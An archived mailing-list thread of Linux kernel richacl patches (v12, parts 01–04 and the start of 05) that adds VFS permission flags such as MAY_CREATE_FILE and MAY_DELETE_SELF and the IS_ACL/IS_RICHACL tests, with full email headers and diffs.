include/linux/richacl_xattr.h | 44 ++ include/linux/sunrpc/xdr.h | 2 + include/uapi/linux/Kbuild | 2 + include/uapi/linux/fs.h | 3 +- include/uapi/linux/nfs4.h | 3 +- include/uapi/linux/richacl.h | 154 ++++ include/uapi/linux/richacl_xattr.h | 44 ++ include/uapi/linux/xattr.h | 2 + net/sunrpc/xdr.c | 34 + 73 files changed, 5081 insertions(+), 869 deletions(-) create mode 100644 fs/ext4/richacl.c create mode 100644 fs/ext4/richacl.h create mode 100644 fs/nfs_common/nfs4acl.c create mode 100644 fs/richacl_base.c create mode 100644 fs/richacl_compat.c create mode 100644 fs/richacl_inode.c create mode 100644 fs/richacl_xattr.c create mode 100644 fs/xfs/xfs_richacl.c create mode 100644 fs/xfs/xfs_richacl.h create mode 100644 include/linux/nfs4acl.h create mode 100644 include/linux/richacl.h create mode 100644 include/linux/richacl_compat.h create mode 100644 include/linux/richacl_xattr.h create mode 100644 include/uapi/linux/richacl.h create mode 100644 include/uapi/linux/richacl_xattr.h -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:42:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1C99E7F47 for ; Fri, 23 Oct 2015 13:42:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9367CAC002 for ; Fri, 23 Oct 2015 11:42:27 -0700 (PDT) X-ASG-Debug-ID: 1445625745-04cb6c7b863df30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id gRVDIWyWVVFwE0bS (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:42:26 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 9B0A08E228; Fri, 23 Oct 2015 18:42:25 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3eV026588; Fri, 23 Oct 2015 14:42:19 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 02/49] vfs: Add MAY_CREATE_FILE and MAY_CREATE_DIR permission flags Date: Fri, 23 Oct 2015 20:41:15 +0200 X-ASG-Orig-Subj: [PATCH v12 02/49] vfs: Add MAY_CREATE_FILE and MAY_CREATE_DIR permission flags Message-Id: <1445625722-13791-3-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625746 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Richacls distinguish between creating non-directories and directories. To support that, add an isdir parameter to may_create(). When checking inode_permission() for create permission, pass in an additional MAY_CREATE_FILE or MAY_CREATE_DIR mask flag. To allow checking for delete *and* create access when replacing an existing file via vfs_rename(), add a replace parameter to may_delete(). Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/namei.c | 43 +++++++++++++++++++++++++------------------ include/linux/fs.h | 2 ++ 2 files changed, 27 insertions(+), 18 deletions(-) diff --git a/fs/namei.c b/fs/namei.c index 224ecf1..0259392 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -453,7 +453,9 @@ static int sb_permission(struct super_block *sb, struct inode *inode, int mask) * this, letting us set arbitrary permissions for filesystem access without * changing the "normal" UIDs which are used for other things. * - * When checking for MAY_APPEND, MAY_WRITE must also be set in @mask. + * MAY_WRITE must be set in @mask whenever MAY_APPEND, MAY_CREATE_FILE, or + * MAY_CREATE_DIR are set. That way, file systems that don't support these + * permissions will check for MAY_WRITE instead. */ int inode_permission(struct inode *inode, int mask) { @@ -2549,10 +2551,11 @@ EXPORT_SYMBOL(__check_sticky); * 10. We don't allow removal of NFS sillyrenamed files; it's handled by * nfs_async_unlink(). */ -static int may_delete(struct inode *dir, struct dentry *victim, bool isdir) +static int may_delete(struct inode *dir, struct dentry *victim, + bool isdir, bool replace) { struct inode *inode = d_backing_inode(victim); - int error; + int error, mask = MAY_WRITE | MAY_EXEC; if (d_is_negative(victim)) return -ENOENT; @@ -2561,7 +2564,9 @@ static int may_delete(struct inode *dir, struct dentry *victim, bool isdir) BUG_ON(victim->d_parent->d_inode != dir); audit_inode_child(dir, victim, AUDIT_TYPE_CHILD_DELETE); - error = inode_permission(dir, MAY_WRITE | MAY_EXEC); + if (replace) + mask |= isdir ? MAY_CREATE_DIR : MAY_CREATE_FILE; + error = inode_permission(dir, mask); if (error) return error; if (IS_APPEND(dir)) @@ -2592,14 +2597,16 @@ static int may_delete(struct inode *dir, struct dentry *victim, bool isdir) * 3. We should have write and exec permissions on dir * 4. We can't do it if dir is immutable (done in permission()) */ -static inline int may_create(struct inode *dir, struct dentry *child) +static inline int may_create(struct inode *dir, struct dentry *child, bool isdir) { + int mask = isdir ? MAY_CREATE_DIR : MAY_CREATE_FILE; + audit_inode_child(dir, child, AUDIT_TYPE_CHILD_CREATE); if (child->d_inode) return -EEXIST; if (IS_DEADDIR(dir)) return -ENOENT; - return inode_permission(dir, MAY_WRITE | MAY_EXEC); + return inode_permission(dir, MAY_WRITE | MAY_EXEC | mask); } /* @@ -2649,7 +2656,7 @@ EXPORT_SYMBOL(unlock_rename); int vfs_create(struct inode *dir, struct dentry *dentry, umode_t mode, bool want_excl) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, false); if (error) return error; @@ -3494,7 +3501,7 @@ EXPORT_SYMBOL(user_path_create); int vfs_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, dev_t dev) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, false); if (error) return error; @@ -3586,7 +3593,7 @@ SYSCALL_DEFINE3(mknod, const char __user *, filename, umode_t, mode, unsigned, d int vfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, true); unsigned max_links = dir->i_sb->s_max_links; if (error) @@ -3667,7 +3674,7 @@ EXPORT_SYMBOL(dentry_unhash); int vfs_rmdir(struct inode *dir, struct dentry *dentry) { - int error = may_delete(dir, dentry, 1); + int error = may_delete(dir, dentry, true, false); if (error) return error; @@ -3789,7 +3796,7 @@ SYSCALL_DEFINE1(rmdir, const char __user *, pathname) int vfs_unlink(struct inode *dir, struct dentry *dentry, struct inode **delegated_inode) { struct inode *target = dentry->d_inode; - int error = may_delete(dir, dentry, 0); + int error = may_delete(dir, dentry, false, false); if (error) return error; @@ -3923,7 +3930,7 @@ SYSCALL_DEFINE1(unlink, const char __user *, pathname) int vfs_symlink(struct inode *dir, struct dentry *dentry, const char *oldname) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, false); if (error) return error; @@ -4006,7 +4013,7 @@ int vfs_link(struct dentry *old_dentry, struct inode *dir, struct dentry *new_de if (!inode) return -ENOENT; - error = may_create(dir, new_dentry); + error = may_create(dir, new_dentry, false); if (error) return error; @@ -4194,19 +4201,19 @@ int vfs_rename(struct inode *old_dir, struct dentry *old_dentry, if (source == target) return 0; - error = may_delete(old_dir, old_dentry, is_dir); + error = may_delete(old_dir, old_dentry, is_dir, false); if (error) return error; if (!target) { - error = may_create(new_dir, new_dentry); + error = may_create(new_dir, new_dentry, is_dir); } else { new_is_dir = d_is_dir(new_dentry); if (!(flags & RENAME_EXCHANGE)) - error = may_delete(new_dir, new_dentry, is_dir); + error = may_delete(new_dir, new_dentry, is_dir, true); else - error = may_delete(new_dir, new_dentry, new_is_dir); + error = may_delete(new_dir, new_dentry, new_is_dir, true); } if (error) return error; @@ -4469,7 +4476,7 @@ SYSCALL_DEFINE2(rename, const char __user *, oldname, const char __user *, newna int vfs_whiteout(struct inode *dir, struct dentry *dentry) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, false); if (error) return error; diff --git a/include/linux/fs.h b/include/linux/fs.h index 4efa435..d6e2330 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -82,6 +82,8 @@ typedef void (dax_iodone_t)(struct buffer_head *bh_map, int uptodate); #define MAY_CHDIR 0x00000040 /* called from RCU mode, don't block */ #define MAY_NOT_BLOCK 0x00000080 +#define MAY_CREATE_FILE 0x00000100 +#define MAY_CREATE_DIR 0x00000200 /* * flags in file.f_mode. Note that FMODE_READ and FMODE_WRITE must correspond -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:42:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 346C37F3F for ; Fri, 23 Oct 2015 13:42:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B0AE4AC001 for ; Fri, 23 Oct 2015 11:42:22 -0700 (PDT) X-ASG-Debug-ID: 1445625740-04cbb0660e3f0d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FyV1T480upF1HyeQ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:42:21 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 44CDC9134D; Fri, 23 Oct 2015 18:42:19 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3eU026588; Fri, 23 Oct 2015 14:42:12 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 01/49] vfs: Add IS_ACL() and IS_RICHACL() tests Date: Fri, 23 Oct 2015 20:41:14 +0200 X-ASG-Orig-Subj: [PATCH v12 01/49] vfs: Add IS_ACL() and IS_RICHACL() tests Message-Id: <1445625722-13791-2-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625741 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The vfs does not apply the umask for file systems that support acls. The test used for this used to be called IS_POSIXACL(). Switch to a new IS_ACL() test to check for either posix acls or richacls instead. Add a new MS_RICHACL flag and IS_RICHACL() test for richacls alone. The IS_POSIXACL() test is still needed by nfsd. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/Kconfig | 3 +++ fs/namei.c | 8 ++++---- include/linux/fs.h | 12 ++++++++++++ include/uapi/linux/fs.h | 3 ++- 4 files changed, 21 insertions(+), 5 deletions(-) diff --git a/fs/Kconfig b/fs/Kconfig index da3f32f..bff2879 100644 --- a/fs/Kconfig +++ b/fs/Kconfig @@ -56,6 +56,9 @@ endif # BLOCK config FS_POSIX_ACL def_bool n +config FS_RICHACL + def_bool n + config EXPORTFS tristate diff --git a/fs/namei.c b/fs/namei.c index 33e9495..224ecf1 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -2798,7 +2798,7 @@ static int atomic_open(struct nameidata *nd, struct dentry *dentry, } mode = op->mode; - if ((open_flag & O_CREAT) && !IS_POSIXACL(dir)) + if ((open_flag & O_CREAT) && !IS_ACL(dir)) mode &= ~current_umask(); excl = (open_flag & (O_EXCL | O_CREAT)) == (O_EXCL | O_CREAT); @@ -2982,7 +2982,7 @@ static int lookup_open(struct nameidata *nd, struct path *path, /* Negative dentry, just create the file */ if (!dentry->d_inode && (op->open_flag & O_CREAT)) { umode_t mode = op->mode; - if (!IS_POSIXACL(dir->d_inode)) + if (!IS_ACL(dir->d_inode)) mode &= ~current_umask(); /* * This write is needed to ensure that a @@ -3553,7 +3553,7 @@ retry: if (IS_ERR(dentry)) return PTR_ERR(dentry); - if (!IS_POSIXACL(path.dentry->d_inode)) + if (!IS_ACL(path.dentry->d_inode)) mode &= ~current_umask(); error = security_path_mknod(&path, dentry, mode, dev); if (error) @@ -3622,7 +3622,7 @@ retry: if (IS_ERR(dentry)) return PTR_ERR(dentry); - if (!IS_POSIXACL(path.dentry->d_inode)) + if (!IS_ACL(path.dentry->d_inode)) mode &= ~current_umask(); error = security_path_mkdir(&path, dentry, mode); if (!error) diff --git a/include/linux/fs.h b/include/linux/fs.h index 72d8a84..4efa435 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1781,6 +1781,12 @@ struct super_operations { #define IS_IMMUTABLE(inode) ((inode)->i_flags & S_IMMUTABLE) #define IS_POSIXACL(inode) __IS_FLG(inode, MS_POSIXACL) +#ifdef CONFIG_FS_RICHACL +#define IS_RICHACL(inode) __IS_FLG(inode, MS_RICHACL) +#else +#define IS_RICHACL(inode) 0 +#endif + #define IS_DEADDIR(inode) ((inode)->i_flags & S_DEAD) #define IS_NOCMTIME(inode) ((inode)->i_flags & S_NOCMTIME) #define IS_SWAPFILE(inode) ((inode)->i_flags & S_SWAPFILE) @@ -1794,6 +1800,12 @@ struct super_operations { (inode)->i_rdev == WHITEOUT_DEV) /* + * IS_ACL() tells the VFS to not apply the umask + * and use check_acl for acl permission checks when defined. + */ +#define IS_ACL(inode) __IS_FLG(inode, MS_POSIXACL | MS_RICHACL) + +/* * Inode state bits. Protected by inode->i_lock * * Three bits determine the dirty state of the inode, I_DIRTY_SYNC, diff --git a/include/uapi/linux/fs.h b/include/uapi/linux/fs.h index 9b964a5..6ac6bc9 100644 --- a/include/uapi/linux/fs.h +++ b/include/uapi/linux/fs.h @@ -81,7 +81,7 @@ struct inodes_stat_t { #define MS_VERBOSE 32768 /* War is peace. Verbosity is silence. MS_VERBOSE is deprecated. */ #define MS_SILENT 32768 -#define MS_POSIXACL (1<<16) /* VFS does not apply the umask */ +#define MS_POSIXACL (1<<16) /* Supports POSIX ACLs */ #define MS_UNBINDABLE (1<<17) /* change to unbindable */ #define MS_PRIVATE (1<<18) /* change to private */ #define MS_SLAVE (1<<19) /* change to slave */ @@ -91,6 +91,7 @@ struct inodes_stat_t { #define MS_I_VERSION (1<<23) /* Update inode I_version field */ #define MS_STRICTATIME (1<<24) /* Always perform atime updates */ #define MS_LAZYTIME (1<<25) /* Update the on-disk [acm]times lazily */ +#define MS_RICHACL (1<<26) /* Supports richacls */ /* These sb flags are internal to the kernel */ #define MS_NOSEC (1<<28) -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:42:33 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D47CA7F54 for ; Fri, 23 Oct 2015 13:42:33 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B8F848F8035 for ; Fri, 23 Oct 2015 11:42:33 -0700 (PDT) X-ASG-Debug-ID: 1445625752-04cbb0660c3f0d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Ez61ajhbcTThZ25X (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:42:32 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 433C98E234; Fri, 23 Oct 2015 18:42:32 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3eW026588; Fri, 23 Oct 2015 14:42:26 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 03/49] vfs: Add MAY_DELETE_SELF and MAY_DELETE_CHILD permission flags Date: Fri, 23 Oct 2015 20:41:16 +0200 X-ASG-Orig-Subj: [PATCH v12 03/49] vfs: Add MAY_DELETE_SELF and MAY_DELETE_CHILD permission flags Message-Id: <1445625722-13791-4-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625752 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Normally, deleting a file requires MAY_WRITE access to the parent directory. With richacls, a file may be deleted with MAY_DELETE_CHILD access to the parent directory or with MAY_DELETE_SELF access to the file. To support that, pass the MAY_DELETE_CHILD mask flag to inode_permission() when checking for delete access inside a directory, and MAY_DELETE_SELF when checking for delete access to a file itelf. The MAY_DELETE_SELF permission overrides the sticky directory check. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/namei.c | 21 ++++++++++++--------- include/linux/fs.h | 2 ++ 2 files changed, 14 insertions(+), 9 deletions(-) diff --git a/fs/namei.c b/fs/namei.c index 0259392..2eab19e 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -453,9 +453,9 @@ static int sb_permission(struct super_block *sb, struct inode *inode, int mask) * this, letting us set arbitrary permissions for filesystem access without * changing the "normal" UIDs which are used for other things. * - * MAY_WRITE must be set in @mask whenever MAY_APPEND, MAY_CREATE_FILE, or - * MAY_CREATE_DIR are set. That way, file systems that don't support these - * permissions will check for MAY_WRITE instead. + * MAY_WRITE must be set in @mask whenever MAY_APPEND, MAY_CREATE_FILE, + * MAY_CREATE_DIR, or MAY_DELETE_CHILD are set. That way, file systems that + * don't support these permissions will check for MAY_WRITE instead. */ int inode_permission(struct inode *inode, int mask) { @@ -2555,7 +2555,7 @@ static int may_delete(struct inode *dir, struct dentry *victim, bool isdir, bool replace) { struct inode *inode = d_backing_inode(victim); - int error, mask = MAY_WRITE | MAY_EXEC; + int error, mask = MAY_EXEC; if (d_is_negative(victim)) return -ENOENT; @@ -2565,15 +2565,18 @@ static int may_delete(struct inode *dir, struct dentry *victim, audit_inode_child(dir, victim, AUDIT_TYPE_CHILD_DELETE); if (replace) - mask |= isdir ? MAY_CREATE_DIR : MAY_CREATE_FILE; - error = inode_permission(dir, mask); + mask |= MAY_WRITE | (isdir ? MAY_CREATE_DIR : MAY_CREATE_FILE); + error = inode_permission(dir, mask | MAY_WRITE | MAY_DELETE_CHILD); + if (!error && check_sticky(dir, inode)) + error = -EPERM; + if (error && IS_RICHACL(inode) && + inode_permission(inode, MAY_DELETE_SELF) == 0) + error = 0; if (error) return error; if (IS_APPEND(dir)) return -EPERM; - - if (check_sticky(dir, inode) || IS_APPEND(inode) || - IS_IMMUTABLE(inode) || IS_SWAPFILE(inode)) + if (IS_APPEND(inode) || IS_IMMUTABLE(inode) || IS_SWAPFILE(inode)) return -EPERM; if (isdir) { if (!d_is_dir(victim)) diff --git a/include/linux/fs.h b/include/linux/fs.h index d6e2330..402acd7 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -84,6 +84,8 @@ typedef void (dax_iodone_t)(struct buffer_head *bh_map, int uptodate); #define MAY_NOT_BLOCK 0x00000080 #define MAY_CREATE_FILE 0x00000100 #define MAY_CREATE_DIR 0x00000200 +#define MAY_DELETE_CHILD 0x00000400 +#define MAY_DELETE_SELF 0x00000800 /* * flags in file.f_mode. Note that FMODE_READ and FMODE_WRITE must correspond -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:42:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E08A67F37 for ; Fri, 23 Oct 2015 13:42:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 80CD5AC003 for ; Fri, 23 Oct 2015 11:42:40 -0700 (PDT) X-ASG-Debug-ID: 1445625759-04cbb0660d3f0e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id v5UDDZikTPaf0Xwt (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:42:39 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id EA16C8E23F; Fri, 23 Oct 2015 18:42:38 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3eX026588; Fri, 23 Oct 2015 14:42:32 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 04/49] vfs: Make the inode passed to inode_change_ok non-const Date: Fri, 23 Oct 2015 20:41:17 +0200 X-ASG-Orig-Subj: [PATCH v12 04/49] vfs: Make the inode passed to inode_change_ok non-const Message-Id: <1445625722-13791-5-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625759 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 We will need to call iop->permission and iop->get_acl from inode_change_ok() for additional permission checks, and both take a non-const inode. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/attr.c | 2 +- include/linux/fs.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/fs/attr.c b/fs/attr.c index 6530ced..328be71 100644 --- a/fs/attr.c +++ b/fs/attr.c @@ -28,7 +28,7 @@ * Should be called as the first thing in ->setattr implementations, * possibly after taking additional locks. */ -int inode_change_ok(const struct inode *inode, struct iattr *attr) +int inode_change_ok(struct inode *inode, struct iattr *attr) { unsigned int ia_valid = attr->ia_valid; diff --git a/include/linux/fs.h b/include/linux/fs.h index 402acd7..aab32c8 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -2871,7 +2871,7 @@ extern int buffer_migrate_page(struct address_space *, #define buffer_migrate_page NULL #endif -extern int inode_change_ok(const struct inode *, struct iattr *); +extern int inode_change_ok(struct inode *, struct iattr *); extern int inode_newsize_ok(const struct inode *, loff_t offset); extern void setattr_copy(struct inode *inode, const struct iattr *attr); -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:42:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 51FBB7F5A for ; Fri, 23 Oct 2015 13:42:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 243CC8F8035 for ; Fri, 23 Oct 2015 11:42:47 -0700 (PDT) X-ASG-Debug-ID: 1445625765-04bdf0330a41450001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id vzm35bZawehsFWlT (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:42:46 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id B3C29A58BA; Fri, 23 Oct 2015 18:42:45 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3eY026588; Fri, 23 Oct 2015 14:42:39 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 05/49] vfs: Add permission flags for setting file attributes Date: Fri, 23 Oct 2015 20:41:18 +0200 X-ASG-Orig-Subj: [PATCH v12 05/49] vfs: Add permission flags for setting file attributes Message-Id: <1445625722-13791-6-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625766 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: 